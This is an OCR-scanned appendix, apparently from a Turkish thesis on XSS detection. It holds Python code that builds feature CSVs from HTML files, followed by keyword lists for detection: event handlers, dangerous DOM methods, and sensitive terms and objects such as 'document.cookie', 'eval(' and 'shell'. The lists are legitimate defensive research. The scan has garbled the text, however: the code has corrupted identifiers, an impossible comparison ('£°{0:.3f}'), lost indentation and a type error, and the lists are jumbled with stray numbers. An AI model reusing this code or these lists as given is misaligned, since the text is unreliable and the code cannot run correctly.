write ((str(arr40[il)+","))
write((str(arr41[i])+","))
write((str(arrd2[i])+","))
write ((str(arr43[i])+","))

.write((str(arr4d[i])+","))
.write((str(arr45[i])+","))

write ((str(arrd6[i])+","))
write ((str(arrd7[i])+","))
write ((str(arrd8[i])+","))
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normalized_frequency_csv.write((str(arr49[i])+","))
normalized_frequency_csv.write((str(arr50[i]l)+","))
normalized_frequency_csv.write((str(arr51[i])+"\n"))
normalized_frequency_csv.close ()

def generate_term_frequency_csv(dizin):
os.chdir(dizin)
total = 0
with open(’frequency.csv’, ’r’) as file:
reader = csv.reader(file, skipinitialspace=True)
for row in reader:
term_frequency_csv = open("term_frequency.csv", ’a’, encoding=’utf-8’)
term_frequency_csv.write((str(row[0])+","))
for i in range(1,51):
total += float(rowl[il)
for i in range(1,51):
if total != £°{0:.3f}’:
#print (row[i], total)
val = float(row[i])/float(total)
#print (val)
term_frequency_csv.write(str(val) + ",")
else:
term_frequency_csv.write(float(row[i])+",")
term_frequency_csv.write((str(row[51])+"\n"))
term_frequency_csv.close()

3| generate_binary_csv(dizin)

generate_frequency_csv(dizin)
generate_normalized_frequency_csv(dizin)
generate_term_frequency_csv(dizin)

EK 2. Ozellik belirleme ve cikariminda kullanilan metin dosyalar:

Ozellik belirleme ve g¢ikariminda kullanilan 6 farkli dosyanm (AJAX_Keywords.txt,
Dangerous_ HTML_Methods.txt, DOM_Modification_Keywords.txt, DOM_Objects.txt,
Event_Handlers.txt ve Sensitive_Keywords.txt) icerikleri asagida verilmis olup bu anahtar
kelimeler, Python betiginde disaridan dosyadan okutulmak yerine dizi olarak kod icerisine

gomiilerek kullanilmigtir.

find_fI(htmlfile) fonksiyonu icin kullanilan AJAX Keywords.txt dosyasi igerigi

XMLHttpRequest ( 6 .send( i1 .responseText
.abort ( 7 .setRequestHeader ( 12 .responseXML
.getAl1ResponseHeaders ( 3 .onload 13 .status
.getResponseHeader ( 9 .onreadystatechange 14 .statusText

.open ( 10 .readyState




Jfind_f3(htmlfile) fonksiyonu i¢in kullanilan Dangerous_ HTML_Methods.txt dosyasi igerigi

| .innerHTML

> .outerHTML
.insertAdjacentHTML

. .write(

5 .writeln(

6 .createElement (

JSind_f5(htmlfile) fonksiyonu i¢in kullanilan DOM_Modification_Keywords.txt dosyasi icerigi

appendChild(

cloneNode (

3 compareDocumentPosition(
innerHTML

5 insertAdjacentHTML (

IS

JSind_f8(htmlfile) fonksiyonu i¢in kullanilan Event_Handlers.

onAbort
> onBlur

3 onChange

1 onClick

5 onDb1Click
6 onDragDrop
7 onError

s onFocus

9 onKeyDown

10 onKeyPress
11 onKeyUp

12 onLoad

13 onMouseDown
14 onMouseMove
15 onMouseQOut
16 onMouseOver
17 onMouseUp

18 onMove

19 onReset

20 onResize

21 onSelect

22 onSubmit

23 onUnload

24 onauxclick
25 oncancel

26 oncanplay
27 oncanplaythrough
28 onclose

29 oncontextmenu
30 oncuechange

ondrag

ondragend
33 ondragenter

66
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.createTextNode (
.createContextualFragment
.setAttribute(
.appendChild(
.textContent

eval (

insertAdjacentElement
insertBefore (
isEqualNode (
isSameNode (

outerHTML

ondragexit
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onformdata

3 oninput

oninvalid
onloadeddata
onloadedmetadata
onloadstart

; onmouseenter

onmouseleave
onpause
onplay
onplaying

3 onprogress

onratechange

5 onsecuritypolicyviolation

onseeked
onseeking
onslotchange
onstalled
onsuspend
ontimeupdate

> ontoggle
3 onvolumechange

onwaiting

5 onwebkitanimationend

onwebkitanimationiteration

13 getElementsByTagName (
14 fromCharCode (

5 alert(

16 .innerText

7 .data

11 removeChild (
12 replaceChild(
13 createElement (
14 createTextNode (
15 .replaceWith(

txt dosyasi icerigi

67 onwebkitanimationstart
68 onwebkittransitionend
60 onwheel

70 onscroll

71 onafterprint

72 onbeforeprint

73 onbeforeunload

74 onhashchange

75 onlanguagechange

76 onmessage

77 onmessageerror

75 onoffline

79 ononline

80 onpagehide

81 onpageshow

32 onpopstate

83 onrejectionhandled
84 onstorage

$5 onunhandledrejection
86 oncut

§7 oncopy

33 onpaste

onactivate

®

90 onafterscriptexecute
91 onanimationcancel

92 onanimationend

93 onanimationiteration
94 onanimationstart

95 onbeforeactivate

96 onbeforecopy

97 onbeforecut

9s onbeforedeactivate
99 onbeforepaste



onbeforescriptexecute
onbegin
onbounce

3 ondeactivate

onend

onfinish

onfocusin

onfocusout
onfullscreenchange
onloadend
onmousewheel
onmozfullscreenchange

245

> onpointerdown
3 onpointerenter

onpointerleave
onpointermove
onpointerout

7 onpointerover

onpointerrawupdate
onpointerup
onreadystatechange
onrepeat

onsearch

3 onselectionchange

124

126
127
128
129

130

onselectstart

5 onshow

onstart

ontouchend
ontouchmove
ontouchstart
ontransitioncancel
ontransitionend
ontransitionrun

3 ontransitionstart

Jfind_f16(htmlfile) fonksiyonu icin kullanilan Sensitive_Keywords.txt dosyasi igerigi

XSS
banking

3 redirect

IS}

root
password
crypt
shell
spray
evil

find_f34(htmilfile) fonksiyonu i¢in kullanilan DOM_Objects.txt dosyasi icerigi

document . URL
document .documentURI

3 document .URLUnencoded

®» 9 o w»n A

)

document .baseURI
document.open
document .window
document.location
document.cookie
document .referrer
window.name
history.pushState
history.replaceState

3 localStorage

sessionStorage

IndexedDB
Database
document.write (
document.writeln(
window.location
eval (

document .domain
WebSocket (

.sIC

.lowsrc
postMessage (
setRequestHeader (
FileReader.readAsText (
ExecuteSql (

o

sessionStorage.setItem(
document .evaluate (
JSON . parse(
.setAttribute(

3 RegExp(

getCookie(
setCookie(
location.assign(
location.replace (
location.herf
AppName (
getUserAgent (
.getElementByld
.getElementByName
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